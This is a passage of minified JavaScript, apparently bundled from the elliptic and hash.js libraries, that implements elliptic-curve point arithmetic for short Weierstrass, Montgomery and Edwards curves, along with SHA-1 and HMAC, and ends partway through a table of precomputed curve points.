this.curve.validate(this)},Hf.prototype.decodePoint=function(e,t){e=zf.toArray(e,t);var r=this.p.byteLength();if((4===e[0]||6===e[0]||7===e[0])&&e.length-1==2*r)return 6===e[0]?Wf(e[e.length-1]%2==0):7===e[0]&&Wf(e[e.length-1]%2==1),this.point(e.slice(1,1+r),e.slice(1+r,1+2*r));if((2===e[0]||3===e[0])&&e.length-1===r)return this.pointFromX(e.slice(1,1+r),3===e[0]);throw Error("Unknown point format")},Vf.prototype.encodeCompressed=function(e){return this.encode(e,!0)},Vf.prototype._encode=function(e){var t=this.curve.p.byteLength(),r=this.getX().toArray("be",t);return e?[this.getY().isEven()?2:3].concat(r):[4].concat(r,this.getY().toArray("be",t))},Vf.prototype.encode=function(e,t){return zf.encode(this._encode(t),e)},Vf.prototype.precompute=function(e){if(this.precomputed)return this;var t={doubles:null,naf:null,beta:null};return t.naf=this._getNAFPoints(8),t.doubles=this._getDoubles(4,e),t.beta=this._getBeta(),this.precomputed=t,this},Vf.prototype._hasDoubles=function(e){if(!this.precomputed)return!1;var t=this.precomputed.doubles;return!!t&&t.points.length>=Math.ceil((e.bitLength()+1)/t.step)},Vf.prototype._getDoubles=function(e,t){if(this.precomputed&&this.precomputed.doubles)return this.precomputed.doubles;for(var r=[this],i=this,n=0;n<t;n+=e){for(var a=0;a<e;a++)i=i.dbl();r.push(i)}return{step:e,points:r}},Vf.prototype._getNAFPoints=function(e){if(this.precomputed&&this.precomputed.naf)return this.precomputed.naf;for(var t=[this],r=(1<<e)-1,i=1===r?null:this.dbl(),n=1;n<r;n++)t[n]=t[n-1].add(i);return{wnd:e,points:t}},Vf.prototype._getBeta=function(){return null},Vf.prototype.dblp=function(e){for(var t=this,r=0;r<e;r++)t=t.dbl();return t};var $f=zf.assert;function Zf(e){Gf.call(this,"short",e),this.a=new Df(e.a,16).toRed(this.red),this.b=new Df(e.b,16).toRed(this.red),this.tinv=this.two.redInvm(),this.zeroA=0===this.a.fromRed().cmpn(0),this.threeA=0===this.a.fromRed().sub(this.p).cmpn(-3),this.endo=this._getEndomorphism(e),this._endoWnafT1=[,,,,],this._endoWnafT2=[,,,,]}rt(Zf,Gf);var Yf=Zf;function Xf(e,t,r,i){Gf.BasePoint.call(this,e,"affine"),null===t&&null===r?(this.x=null,this.y=null,this.inf=!0):(this.x=new Df(t,16),this.y=new Df(r,16),i&&(this.x.forceRed(this.curve.red),this.y.forceRed(this.curve.red)),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.y.red||(this.y=this.y.toRed(this.curve.red)),this.inf=!1)}function Qf(e,t,r,i){Gf.BasePoint.call(this,e,"jacobian"),null===t&&null===r&&null===i?(this.x=this.curve.one,this.y=this.curve.one,this.z=new Df(0)):(this.x=new Df(t,16),this.y=new Df(r,16),this.z=new Df(i,16)),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.y.red||(this.y=this.y.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)),this.zOne=this.z===this.curve.one}function Jf(e){Gf.call(this,"mont",e),this.a=new Df(e.a,16).toRed(this.red),this.b=new Df(e.b,16).toRed(this.red),this.i4=new Df(4).toRed(this.red).redInvm(),this.two=new Df(2).toRed(this.red),this.a24=this.i4.redMul(this.a.redAdd(this.two))}Zf.prototype._getEndomorphism=function(e){if(this.zeroA&&this.g&&this.n&&1===this.p.modn(3)){var t,r;if(e.beta)t=new Df(e.beta,16).toRed(this.red);else{var i=this._getEndoRoots(this.p);t=(t=i[0].cmp(i[1])<0?i[0]:i[1]).toRed(this.red)}if(e.lambda)r=new Df(e.lambda,16);else{var n=this._getEndoRoots(this.n);0===this.g.mul(n[0]).x.cmp(this.g.x.redMul(t))?r=n[0]:(r=n[1],$f(0===this.g.mul(r).x.cmp(this.g.x.redMul(t))))}return{beta:t,lambda:r,basis:e.basis?e.basis.map((function(e){return{a:new Df(e.a,16),b:new Df(e.b,16)}})):this._getEndoBasis(r)}}},Zf.prototype._getEndoRoots=function(e){var t=e===this.p?this.red:Df.mont(e),r=new Df(2).toRed(t).redInvm(),i=r.redNeg(),n=new Df(3).toRed(t).redNeg().redSqrt().redMul(r);return[i.redAdd(n).fromRed(),i.redSub(n).fromRed()]},Zf.prototype._getEndoBasis=function(e){for(var t,r,i,n,a,s,o,c,u,h=this.n.ushrn(Math.floor(this.n.bitLength()/2)),d=e,f=this.n.clone(),l=new Df(1),p=new Df(0),y=new Df(0),b=new Df(1),m=0;0!==d.cmpn(0);){var g=f.div(d);c=f.sub(g.mul(d)),u=y.sub(g.mul(l));var w=b.sub(g.mul(p));if(!i&&c.cmp(h)<0)t=o.neg(),r=l,i=c.neg(),n=u;else if(i&&2==++m)break;o=c,f=d,d=c,y=l,l=u,b=p,p=w}a=c.neg(),s=u;var v=i.sqr().add(n.sqr());return a.sqr().add(s.sqr()).cmp(v)>=0&&(a=t,s=r),i.negative&&(i=i.neg(),n=n.neg()),a.negative&&(a=a.neg(),s=s.neg()),[{a:i,b:n},{a,b:s}]},Zf.prototype._endoSplit=function(e){var t=this.endo.basis,r=t[0],i=t[1],n=i.b.mul(e).divRound(this.n),a=r.b.neg().mul(e).divRound(this.n),s=n.mul(r.a),o=a.mul(i.a),c=n.mul(r.b),u=a.mul(i.b);return{k1:e.sub(s).sub(o),k2:c.add(u).neg()}},Zf.prototype.pointFromX=function(e,t){(e=new Df(e,16)).red||(e=e.toRed(this.red));var r=e.redSqr().redMul(e).redIAdd(e.redMul(this.a)).redIAdd(this.b),i=r.redSqrt();if(0!==i.redSqr().redSub(r).cmp(this.zero))throw Error("invalid point");var n=i.fromRed().isOdd();return(t&&!n||!t&&n)&&(i=i.redNeg()),this.point(e,i)},Zf.prototype.validate=function(e){if(e.inf)return!0;var t=e.x,r=e.y,i=this.a.redMul(t),n=t.redSqr().redMul(t).redIAdd(i).redIAdd(this.b);return 0===r.redSqr().redISub(n).cmpn(0)},Zf.prototype._endoWnafMulAdd=function(e,t,r){for(var i=this._endoWnafT1,n=this._endoWnafT2,a=0;a<e.length;a++){var s=this._endoSplit(t[a]),o=e[a],c=o._getBeta();s.k1.negative&&(s.k1.ineg(),o=o.neg(!0)),s.k2.negative&&(s.k2.ineg(),c=c.neg(!0)),i[2*a]=o,i[2*a+1]=c,n[2*a]=s.k1,n[2*a+1]=s.k2}for(var u=this._wnafMulAdd(1,i,n,2*a,r),h=0;h<2*a;h++)i[h]=null,n[h]=null;return u},rt(Xf,Gf.BasePoint),Zf.prototype.point=function(e,t,r){return new Xf(this,e,t,r)},Zf.prototype.pointFromJSON=function(e,t){return Xf.fromJSON(this,e,t)},Xf.prototype._getBeta=function(){if(this.curve.endo){var e=this.precomputed;if(e&&e.beta)return e.beta;var t=this.curve.point(this.x.redMul(this.curve.endo.beta),this.y);if(e){var r=this.curve,i=function(e){return r.point(e.x.redMul(r.endo.beta),e.y)};e.beta=t,t.precomputed={beta:null,naf:e.naf&&{wnd:e.naf.wnd,points:e.naf.points.map(i)},doubles:e.doubles&&{step:e.doubles.step,points:e.doubles.points.map(i)}}}return t}},Xf.prototype.toJSON=function(){return this.precomputed?[this.x,this.y,this.precomputed&&{doubles:this.precomputed.doubles&&{step:this.precomputed.doubles.step,points:this.precomputed.doubles.points.slice(1)},naf:this.precomputed.naf&&{wnd:this.precomputed.naf.wnd,points:this.precomputed.naf.points.slice(1)}}]:[this.x,this.y]},Xf.fromJSON=function(e,t,r){"string"==typeof t&&(t=JSON.parse(t));var i=e.point(t[0],t[1],r);if(!t[2])return i;function n(t){return e.point(t[0],t[1],r)}var a=t[2];return i.precomputed={beta:null,doubles:a.doubles&&{step:a.doubles.step,points:[i].concat(a.doubles.points.map(n))},naf:a.naf&&{wnd:a.naf.wnd,points:[i].concat(a.naf.points.map(n))}},i},Xf.prototype.inspect=function(){return this.isInfinity()?"<EC Point Infinity>":"<EC Point x: "+this.x.fromRed().toString(16,2)+" y: "+this.y.fromRed().toString(16,2)+">"},Xf.prototype.isInfinity=function(){return this.inf},Xf.prototype.add=function(e){if(this.inf)return e;if(e.inf)return this;if(this.eq(e))return this.dbl();if(this.neg().eq(e))return this.curve.point(null,null);if(0===this.x.cmp(e.x))return this.curve.point(null,null);var t=this.y.redSub(e.y);0!==t.cmpn(0)&&(t=t.redMul(this.x.redSub(e.x).redInvm()));var r=t.redSqr().redISub(this.x).redISub(e.x),i=t.redMul(this.x.redSub(r)).redISub(this.y);return this.curve.point(r,i)},Xf.prototype.dbl=function(){if(this.inf)return this;var e=this.y.redAdd(this.y);if(0===e.cmpn(0))return this.curve.point(null,null);var t=this.curve.a,r=this.x.redSqr(),i=e.redInvm(),n=r.redAdd(r).redIAdd(r).redIAdd(t).redMul(i),a=n.redSqr().redISub(this.x.redAdd(this.x)),s=n.redMul(this.x.redSub(a)).redISub(this.y);return this.curve.point(a,s)},Xf.prototype.getX=function(){return this.x.fromRed()},Xf.prototype.getY=function(){return this.y.fromRed()},Xf.prototype.mul=function(e){return e=new Df(e,16),this.isInfinity()?this:this._hasDoubles(e)?this.curve._fixedNafMul(this,e):this.curve.endo?this.curve._endoWnafMulAdd([this],[e]):this.curve._wnafMul(this,e)},Xf.prototype.mulAdd=function(e,t,r){var i=[this,t],n=[e,r];return this.curve.endo?this.curve._endoWnafMulAdd(i,n):this.curve._wnafMulAdd(1,i,n,2)},Xf.prototype.jmulAdd=function(e,t,r){var i=[this,t],n=[e,r];return this.curve.endo?this.curve._endoWnafMulAdd(i,n,!0):this.curve._wnafMulAdd(1,i,n,2,!0)},Xf.prototype.eq=function(e){return this===e||this.inf===e.inf&&(this.inf||0===this.x.cmp(e.x)&&0===this.y.cmp(e.y))},Xf.prototype.neg=function(e){if(this.inf)return this;var t=this.curve.point(this.x,this.y.redNeg());if(e&&this.precomputed){var r=this.precomputed,i=function(e){return e.neg()};t.precomputed={naf:r.naf&&{wnd:r.naf.wnd,points:r.naf.points.map(i)},doubles:r.doubles&&{step:r.doubles.step,points:r.doubles.points.map(i)}}}return t},Xf.prototype.toJ=function(){return this.inf?this.curve.jpoint(null,null,null):this.curve.jpoint(this.x,this.y,this.curve.one)},rt(Qf,Gf.BasePoint),Zf.prototype.jpoint=function(e,t,r){return new Qf(this,e,t,r)},Qf.prototype.toP=function(){if(this.isInfinity())return this.curve.point(null,null);var e=this.z.redInvm(),t=e.redSqr(),r=this.x.redMul(t),i=this.y.redMul(t).redMul(e);return this.curve.point(r,i)},Qf.prototype.neg=function(){return this.curve.jpoint(this.x,this.y.redNeg(),this.z)},Qf.prototype.add=function(e){if(this.isInfinity())return e;if(e.isInfinity())return this;var t=e.z.redSqr(),r=this.z.redSqr(),i=this.x.redMul(t),n=e.x.redMul(r),a=this.y.redMul(t.redMul(e.z)),s=e.y.redMul(r.redMul(this.z)),o=i.redSub(n),c=a.redSub(s);if(0===o.cmpn(0))return 0!==c.cmpn(0)?this.curve.jpoint(null,null,null):this.dbl();var u=o.redSqr(),h=u.redMul(o),d=i.redMul(u),f=c.redSqr().redIAdd(h).redISub(d).redISub(d),l=c.redMul(d.redISub(f)).redISub(a.redMul(h)),p=this.z.redMul(e.z).redMul(o);return this.curve.jpoint(f,l,p)},Qf.prototype.mixedAdd=function(e){if(this.isInfinity())return e.toJ();if(e.isInfinity())return this;var t=this.z.redSqr(),r=this.x,i=e.x.redMul(t),n=this.y,a=e.y.redMul(t).redMul(this.z),s=r.redSub(i),o=n.redSub(a);if(0===s.cmpn(0))return 0!==o.cmpn(0)?this.curve.jpoint(null,null,null):this.dbl();var c=s.redSqr(),u=c.redMul(s),h=r.redMul(c),d=o.redSqr().redIAdd(u).redISub(h).redISub(h),f=o.redMul(h.redISub(d)).redISub(n.redMul(u)),l=this.z.redMul(s);return this.curve.jpoint(d,f,l)},Qf.prototype.dblp=function(e){if(0===e)return this;if(this.isInfinity())return this;if(!e)return this.dbl();if(this.curve.zeroA||this.curve.threeA){for(var t=this,r=0;r<e;r++)t=t.dbl();return t}var i=this.curve.a,n=this.curve.tinv,a=this.x,s=this.y,o=this.z,c=o.redSqr().redSqr(),u=s.redAdd(s);for(r=0;r<e;r++){var h=a.redSqr(),d=u.redSqr(),f=d.redSqr(),l=h.redAdd(h).redIAdd(h).redIAdd(i.redMul(c)),p=a.redMul(d),y=l.redSqr().redISub(p.redAdd(p)),b=p.redISub(y),m=l.redMul(b);m=m.redIAdd(m).redISub(f);var g=u.redMul(o);r+1<e&&(c=c.redMul(f)),a=y,o=g,u=m}return this.curve.jpoint(a,u.redMul(n),o)},Qf.prototype.dbl=function(){return this.isInfinity()?this:this.curve.zeroA?this._zeroDbl():this.curve.threeA?this._threeDbl():this._dbl()},Qf.prototype._zeroDbl=function(){var e,t,r;if(this.zOne){var i=this.x.redSqr(),n=this.y.redSqr(),a=n.redSqr(),s=this.x.redAdd(n).redSqr().redISub(i).redISub(a);s=s.redIAdd(s);var o=i.redAdd(i).redIAdd(i),c=o.redSqr().redISub(s).redISub(s),u=a.redIAdd(a);u=(u=u.redIAdd(u)).redIAdd(u),e=c,t=o.redMul(s.redISub(c)).redISub(u),r=this.y.redAdd(this.y)}else{var h=this.x.redSqr(),d=this.y.redSqr(),f=d.redSqr(),l=this.x.redAdd(d).redSqr().redISub(h).redISub(f);l=l.redIAdd(l);var p=h.redAdd(h).redIAdd(h),y=p.redSqr(),b=f.redIAdd(f);b=(b=b.redIAdd(b)).redIAdd(b),e=y.redISub(l).redISub(l),t=p.redMul(l.redISub(e)).redISub(b),r=(r=this.y.redMul(this.z)).redIAdd(r)}return this.curve.jpoint(e,t,r)},Qf.prototype._threeDbl=function(){var e,t,r;if(this.zOne){var i=this.x.redSqr(),n=this.y.redSqr(),a=n.redSqr(),s=this.x.redAdd(n).redSqr().redISub(i).redISub(a);s=s.redIAdd(s);var o=i.redAdd(i).redIAdd(i).redIAdd(this.curve.a),c=o.redSqr().redISub(s).redISub(s);e=c;var u=a.redIAdd(a);u=(u=u.redIAdd(u)).redIAdd(u),t=o.redMul(s.redISub(c)).redISub(u),r=this.y.redAdd(this.y)}else{var h=this.z.redSqr(),d=this.y.redSqr(),f=this.x.redMul(d),l=this.x.redSub(h).redMul(this.x.redAdd(h));l=l.redAdd(l).redIAdd(l);var p=f.redIAdd(f),y=(p=p.redIAdd(p)).redAdd(p);e=l.redSqr().redISub(y),r=this.y.redAdd(this.z).redSqr().redISub(d).redISub(h);var b=d.redSqr();b=(b=(b=b.redIAdd(b)).redIAdd(b)).redIAdd(b),t=l.redMul(p.redISub(e)).redISub(b)}return this.curve.jpoint(e,t,r)},Qf.prototype._dbl=function(){var e=this.curve.a,t=this.x,r=this.y,i=this.z,n=i.redSqr().redSqr(),a=t.redSqr(),s=r.redSqr(),o=a.redAdd(a).redIAdd(a).redIAdd(e.redMul(n)),c=t.redAdd(t),u=(c=c.redIAdd(c)).redMul(s),h=o.redSqr().redISub(u.redAdd(u)),d=u.redISub(h),f=s.redSqr();f=(f=(f=f.redIAdd(f)).redIAdd(f)).redIAdd(f);var l=o.redMul(d).redISub(f),p=r.redAdd(r).redMul(i);return this.curve.jpoint(h,l,p)},Qf.prototype.trpl=function(){if(!this.curve.zeroA)return this.dbl().add(this);var e=this.x.redSqr(),t=this.y.redSqr(),r=this.z.redSqr(),i=t.redSqr(),n=e.redAdd(e).redIAdd(e),a=n.redSqr(),s=this.x.redAdd(t).redSqr().redISub(e).redISub(i),o=(s=(s=(s=s.redIAdd(s)).redAdd(s).redIAdd(s)).redISub(a)).redSqr(),c=i.redIAdd(i);c=(c=(c=c.redIAdd(c)).redIAdd(c)).redIAdd(c);var u=n.redIAdd(s).redSqr().redISub(a).redISub(o).redISub(c),h=t.redMul(u);h=(h=h.redIAdd(h)).redIAdd(h);var d=this.x.redMul(o).redISub(h);d=(d=d.redIAdd(d)).redIAdd(d);var f=this.y.redMul(u.redMul(c.redISub(u)).redISub(s.redMul(o)));f=(f=(f=f.redIAdd(f)).redIAdd(f)).redIAdd(f);var l=this.z.redAdd(s).redSqr().redISub(r).redISub(o);return this.curve.jpoint(d,f,l)},Qf.prototype.mul=function(e,t){return e=new Df(e,t),this.curve._wnafMul(this,e)},Qf.prototype.eq=function(e){if("affine"===e.type)return this.eq(e.toJ());if(this===e)return!0;var t=this.z.redSqr(),r=e.z.redSqr();if(0!==this.x.redMul(r).redISub(e.x.redMul(t)).cmpn(0))return!1;var i=t.redMul(this.z),n=r.redMul(e.z);return 0===this.y.redMul(n).redISub(e.y.redMul(i)).cmpn(0)},Qf.prototype.eqXToP=function(e){var t=this.z.redSqr(),r=e.toRed(this.curve.red).redMul(t);if(0===this.x.cmp(r))return!0;for(var i=e.clone(),n=this.curve.redN.redMul(t);;){if(i.iadd(this.curve.n),i.cmp(this.curve.p)>=0)return!1;if(r.redIAdd(n),0===this.x.cmp(r))return!0}},Qf.prototype.inspect=function(){return this.isInfinity()?"<EC JPoint Infinity>":"<EC JPoint x: "+this.x.toString(16,2)+" y: "+this.y.toString(16,2)+" z: "+this.z.toString(16,2)+">"},Qf.prototype.isInfinity=function(){return 0===this.z.cmpn(0)},rt(Jf,Gf);var el=Jf;function tl(e,t,r){Gf.BasePoint.call(this,e,"projective"),null===t&&null===r?(this.x=this.curve.one,this.z=this.curve.zero):(this.x=new Df(t,16),this.z=new Df(r,16),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)))}Jf.prototype.validate=function(e){var t=e.normalize().x,r=t.redSqr(),i=r.redMul(t).redAdd(r.redMul(this.a)).redAdd(t);return 0===i.redSqrt().redSqr().cmp(i)},rt(tl,Gf.BasePoint),Jf.prototype.decodePoint=function(e,t){if(33===(e=zf.toArray(e,t)).length&&64===e[0]&&(e=e.slice(1,33).reverse()),32!==e.length)throw Error("Unknown point compression format");return this.point(e,1)},Jf.prototype.point=function(e,t){return new tl(this,e,t)},Jf.prototype.pointFromJSON=function(e){return tl.fromJSON(this,e)},tl.prototype.precompute=function(){},tl.prototype._encode=function(e){var t=this.curve.p.byteLength();return e?[64].concat(this.getX().toArray("le",t)):this.getX().toArray("be",t)},tl.fromJSON=function(e,t){return new tl(e,t[0],t[1]||e.one)},tl.prototype.inspect=function(){return this.isInfinity()?"<EC Point Infinity>":"<EC Point x: "+this.x.fromRed().toString(16,2)+" z: "+this.z.fromRed().toString(16,2)+">"},tl.prototype.isInfinity=function(){return 0===this.z.cmpn(0)},tl.prototype.dbl=function(){var e=this.x.redAdd(this.z).redSqr(),t=this.x.redSub(this.z).redSqr(),r=e.redSub(t),i=e.redMul(t),n=r.redMul(t.redAdd(this.curve.a24.redMul(r)));return this.curve.point(i,n)},tl.prototype.add=function(){throw Error("Not supported on Montgomery curve")},tl.prototype.diffAdd=function(e,t){var r=this.x.redAdd(this.z),i=this.x.redSub(this.z),n=e.x.redAdd(e.z),a=e.x.redSub(e.z).redMul(r),s=n.redMul(i),o=t.z.redMul(a.redAdd(s).redSqr()),c=t.x.redMul(a.redISub(s).redSqr());return this.curve.point(o,c)},tl.prototype.mul=function(e){for(var t=(e=new Df(e,16)).clone(),r=this,i=this.curve.point(null,null),n=[];0!==t.cmpn(0);t.iushrn(1))n.push(t.andln(1));for(var a=n.length-1;a>=0;a--)0===n[a]?(r=r.diffAdd(i,this),i=i.dbl()):(i=r.diffAdd(i,this),r=r.dbl());return i},tl.prototype.mulAdd=function(){throw Error("Not supported on Montgomery curve")},tl.prototype.jumlAdd=function(){throw Error("Not supported on Montgomery curve")},tl.prototype.eq=function(e){return 0===this.getX().cmp(e.getX())},tl.prototype.normalize=function(){return this.x=this.x.redMul(this.z.redInvm()),this.z=this.curve.one,this},tl.prototype.getX=function(){return this.normalize(),this.x.fromRed()};var rl=zf.assert;function il(e){this.twisted=1!=(0|e.a),this.mOneA=this.twisted&&-1==(0|e.a),this.extended=this.mOneA,Gf.call(this,"edwards",e),this.a=new Df(e.a,16).umod(this.red.m),this.a=this.a.toRed(this.red),this.c=new Df(e.c,16).toRed(this.red),this.c2=this.c.redSqr(),this.d=new Df(e.d,16).toRed(this.red),this.dd=this.d.redAdd(this.d),rl(!this.twisted||0===this.c.fromRed().cmpn(1)),this.oneC=1==(0|e.c)}rt(il,Gf);var nl=il;function al(e,t,r,i,n){Gf.BasePoint.call(this,e,"projective"),null===t&&null===r&&null===i?(this.x=this.curve.zero,this.y=this.curve.one,this.z=this.curve.one,this.t=this.curve.zero,this.zOne=!0):(this.x=new Df(t,16),this.y=new Df(r,16),this.z=i?new Df(i,16):this.curve.one,this.t=n&&new Df(n,16),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.y.red||(this.y=this.y.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)),this.t&&!this.t.red&&(this.t=this.t.toRed(this.curve.red)),this.zOne=this.z===this.curve.one,this.curve.extended&&!this.t&&(this.t=this.x.redMul(this.y),this.zOne||(this.t=this.t.redMul(this.z.redInvm()))))}il.prototype._mulA=function(e){return this.mOneA?e.redNeg():this.a.redMul(e)},il.prototype._mulC=function(e){return this.oneC?e:this.c.redMul(e)},il.prototype.jpoint=function(e,t,r,i){return this.point(e,t,r,i)},il.prototype.pointFromX=function(e,t){(e=new Df(e,16)).red||(e=e.toRed(this.red));var r=e.redSqr(),i=this.c2.redSub(this.a.redMul(r)),n=this.one.redSub(this.c2.redMul(this.d).redMul(r)),a=i.redMul(n.redInvm()),s=a.redSqrt();if(0!==s.redSqr().redSub(a).cmp(this.zero))throw Error("invalid point");var o=s.fromRed().isOdd();return(t&&!o||!t&&o)&&(s=s.redNeg()),this.point(e,s)},il.prototype.pointFromY=function(e,t){(e=new Df(e,16)).red||(e=e.toRed(this.red));var r=e.redSqr(),i=r.redSub(this.c2),n=r.redMul(this.d).redMul(this.c2).redSub(this.a),a=i.redMul(n.redInvm());if(0===a.cmp(this.zero)){if(t)throw Error("invalid point");return this.point(this.zero,e)}var s=a.redSqrt();if(0!==s.redSqr().redSub(a).cmp(this.zero))throw Error("invalid point");return s.fromRed().isOdd()!==t&&(s=s.redNeg()),this.point(s,e)},il.prototype.validate=function(e){if(e.isInfinity())return!0;e.normalize();var t=e.x.redSqr(),r=e.y.redSqr(),i=t.redMul(this.a).redAdd(r),n=this.c2.redMul(this.one.redAdd(this.d.redMul(t).redMul(r)));return 0===i.cmp(n)},rt(al,Gf.BasePoint),il.prototype.pointFromJSON=function(e){return al.fromJSON(this,e)},il.prototype.point=function(e,t,r,i){return new al(this,e,t,r,i)},al.fromJSON=function(e,t){return new al(e,t[0],t[1],t[2])},al.prototype.inspect=function(){return this.isInfinity()?"<EC Point Infinity>":"<EC Point x: "+this.x.fromRed().toString(16,2)+" y: "+this.y.fromRed().toString(16,2)+" z: "+this.z.fromRed().toString(16,2)+">"},al.prototype.isInfinity=function(){return 0===this.x.cmpn(0)&&(0===this.y.cmp(this.z)||this.zOne&&0===this.y.cmp(this.curve.c))},al.prototype._extDbl=function(){var e=this.x.redSqr(),t=this.y.redSqr(),r=this.z.redSqr();r=r.redIAdd(r);var i=this.curve._mulA(e),n=this.x.redAdd(this.y).redSqr().redISub(e).redISub(t),a=i.redAdd(t),s=a.redSub(r),o=i.redSub(t),c=n.redMul(s),u=a.redMul(o),h=n.redMul(o),d=s.redMul(a);return this.curve.point(c,u,d,h)},al.prototype._projDbl=function(){var e,t,r,i=this.x.redAdd(this.y).redSqr(),n=this.x.redSqr(),a=this.y.redSqr();if(this.curve.twisted){var s=(u=this.curve._mulA(n)).redAdd(a);if(this.zOne)e=i.redSub(n).redSub(a).redMul(s.redSub(this.curve.two)),t=s.redMul(u.redSub(a)),r=s.redSqr().redSub(s).redSub(s);else{var o=this.z.redSqr(),c=s.redSub(o).redISub(o);e=i.redSub(n).redISub(a).redMul(c),t=s.redMul(u.redSub(a)),r=s.redMul(c)}}else{var u=n.redAdd(a);o=this.curve._mulC(this.z).redSqr(),c=u.redSub(o).redSub(o);e=this.curve._mulC(i.redISub(u)).redMul(c),t=this.curve._mulC(u).redMul(n.redISub(a)),r=u.redMul(c)}return this.curve.point(e,t,r)},al.prototype.dbl=function(){return this.isInfinity()?this:this.curve.extended?this._extDbl():this._projDbl()},al.prototype._extAdd=function(e){var t=this.y.redSub(this.x).redMul(e.y.redSub(e.x)),r=this.y.redAdd(this.x).redMul(e.y.redAdd(e.x)),i=this.t.redMul(this.curve.dd).redMul(e.t),n=this.z.redMul(e.z.redAdd(e.z)),a=r.redSub(t),s=n.redSub(i),o=n.redAdd(i),c=r.redAdd(t),u=a.redMul(s),h=o.redMul(c),d=a.redMul(c),f=s.redMul(o);return this.curve.point(u,h,f,d)},al.prototype._projAdd=function(e){var t,r,i=this.z.redMul(e.z),n=i.redSqr(),a=this.x.redMul(e.x),s=this.y.redMul(e.y),o=this.curve.d.redMul(a).redMul(s),c=n.redSub(o),u=n.redAdd(o),h=this.x.redAdd(this.y).redMul(e.x.redAdd(e.y)).redISub(a).redISub(s),d=i.redMul(c).redMul(h);return this.curve.twisted?(t=i.redMul(u).redMul(s.redSub(this.curve._mulA(a))),r=c.redMul(u)):(t=i.redMul(u).redMul(s.redSub(a)),r=this.curve._mulC(c).redMul(u)),this.curve.point(d,t,r)},al.prototype.add=function(e){return this.isInfinity()?e:e.isInfinity()?this:this.curve.extended?this._extAdd(e):this._projAdd(e)},al.prototype.mul=function(e){return this._hasDoubles(e)?this.curve._fixedNafMul(this,e):this.curve._wnafMul(this,e)},al.prototype.mulAdd=function(e,t,r){return this.curve._wnafMulAdd(1,[this,t],[e,r],2,!1)},al.prototype.jmulAdd=function(e,t,r){return this.curve._wnafMulAdd(1,[this,t],[e,r],2,!0)},al.prototype.normalize=function(){if(this.zOne)return this;var e=this.z.redInvm();return this.x=this.x.redMul(e),this.y=this.y.redMul(e),this.t&&(this.t=this.t.redMul(e)),this.z=this.curve.one,this.zOne=!0,this},al.prototype.neg=function(){return this.curve.point(this.x.redNeg(),this.y,this.z,this.t&&this.t.redNeg())},al.prototype.getX=function(){return this.normalize(),this.x.fromRed()},al.prototype.getY=function(){return this.normalize(),this.y.fromRed()},al.prototype.eq=function(e){return this===e||0===this.getX().cmp(e.getX())&&0===this.getY().cmp(e.getY())},al.prototype.eqXToP=function(e){var t=e.toRed(this.curve.red).redMul(this.z);if(0===this.x.cmp(t))return!0;for(var r=e.clone(),i=this.curve.redN.redMul(this.z);;){if(r.iadd(this.curve.n),r.cmp(this.curve.p)>=0)return!1;if(t.redIAdd(i),0===this.x.cmp(t))return!0}},al.prototype.toP=al.prototype.normalize,al.prototype.mixedAdd=al.prototype.add;var sl=tt((function(e,t){var r=t;r.base=Gf,r.short=Yf,r.mont=el,r.edwards=nl})),ol=st.rotl32,cl=st.sum32,ul=st.sum32_5,hl=pt.ft_1,dl=ut.BlockHash,fl=[1518500249,1859775393,2400959708,3395469782];function ll(){if(!(this instanceof ll))return new ll;dl.call(this),this.h=[1732584193,4023233417,2562383102,271733878,3285377520],this.W=Array(80)}st.inherits(ll,dl);var pl=ll;ll.blockSize=512,ll.outSize=160,ll.hmacStrength=80,ll.padLength=64,ll.prototype._update=function(e,t){for(var r=this.W,i=0;i<16;i++)r[i]=e[t+i];for(;i<r.length;i++)r[i]=ol(r[i-3]^r[i-8]^r[i-14]^r[i-16],1);var n=this.h[0],a=this.h[1],s=this.h[2],o=this.h[3],c=this.h[4];for(i=0;i<r.length;i++){var u=~~(i/20),h=ul(ol(n,5),hl(u,a,s,o),c,r[i],fl[u]);c=o,o=s,s=ol(a,30),a=n,n=h}this.h[0]=cl(this.h[0],n),this.h[1]=cl(this.h[1],a),this.h[2]=cl(this.h[2],s),this.h[3]=cl(this.h[3],o),this.h[4]=cl(this.h[4],c)},ll.prototype._digest=function(e){return"hex"===e?st.toHex32(this.h,"big"):st.split32(this.h,"big")};var yl={sha1:pl,sha224:Ct,sha256:xt,sha384:nr,sha512:Wt};function bl(e,t,r){if(!(this instanceof bl))return new bl(e,t,r);this.Hash=e,this.blockSize=e.blockSize/8,this.outSize=e.outSize/8,this.inner=null,this.outer=null,this._init(st.toArray(t,r))}var ml=bl;bl.prototype._init=function(e){e.length>this.blockSize&&(e=(new this.Hash).update(e).digest()),Qe(e.length<=this.blockSize);for(var t=e.length;t<this.blockSize;t++)e.push(0);for(t=0;t<e.length;t++)e[t]^=54;for(this.inner=(new this.Hash).update(e),t=0;t<e.length;t++)e[t]^=106;this.outer=(new this.Hash).update(e)},bl.prototype.update=function(e,t){return this.inner.update(e,t),this},bl.prototype.digest=function(e){return this.outer.update(this.inner.digest()),this.outer.digest(e)};var gl=tt((function(e,t){var r=t;r.utils=st,r.common=ut,r.sha=yl,r.ripemd=wr,r.hmac=ml,r.sha1=r.sha.sha1,r.sha256=r.sha.sha256,r.sha224=r.sha.sha224,r.sha384=r.sha.sha384,r.sha512=r.sha.sha512,r.ripemd160=r.ripemd.ripemd160})),wl={doubles:{step:4,points:[["e60fce93b59e9ec53011aabc21c23e97b2a31369b87a5ae9c44ee89e2a6dec0a","f7e3507399e595929db99f34f57937101296891e44d23f0be1f32cce69616821"],["8282263212c609d9ea2a6e3e172de238d8c39cabd5ac1ca10646e23fd5f51508","11f8a8098557dfe45e8256e830b60ace62d613ac2f7b17bed31b6eaff6e26caf"],["175e159f728b865a72f99cc6c6fc846de0b93833fd2222ed73fce5b551e5b739","d3506e0d9e3c79eba4ef97a51ff71f5eacb5955add24345c6efa6ffee9fed695"],["363d90d447b00c9c99ceac05b6262ee053441c7e55552ffe526bad8f83ff4640","4e273adfc732221953b445397f3363145b9a89008199ecb62003c7f3bee9de9"],["8b4b5f165df3c2be8c6244b5b745638843e4a781a15bcd1b69f79a55dffdf80c","4aad0a6f68d308b4b3fbd7813ab0da04f9e336546162ee56b3eff0c65fd4fd36"],["723c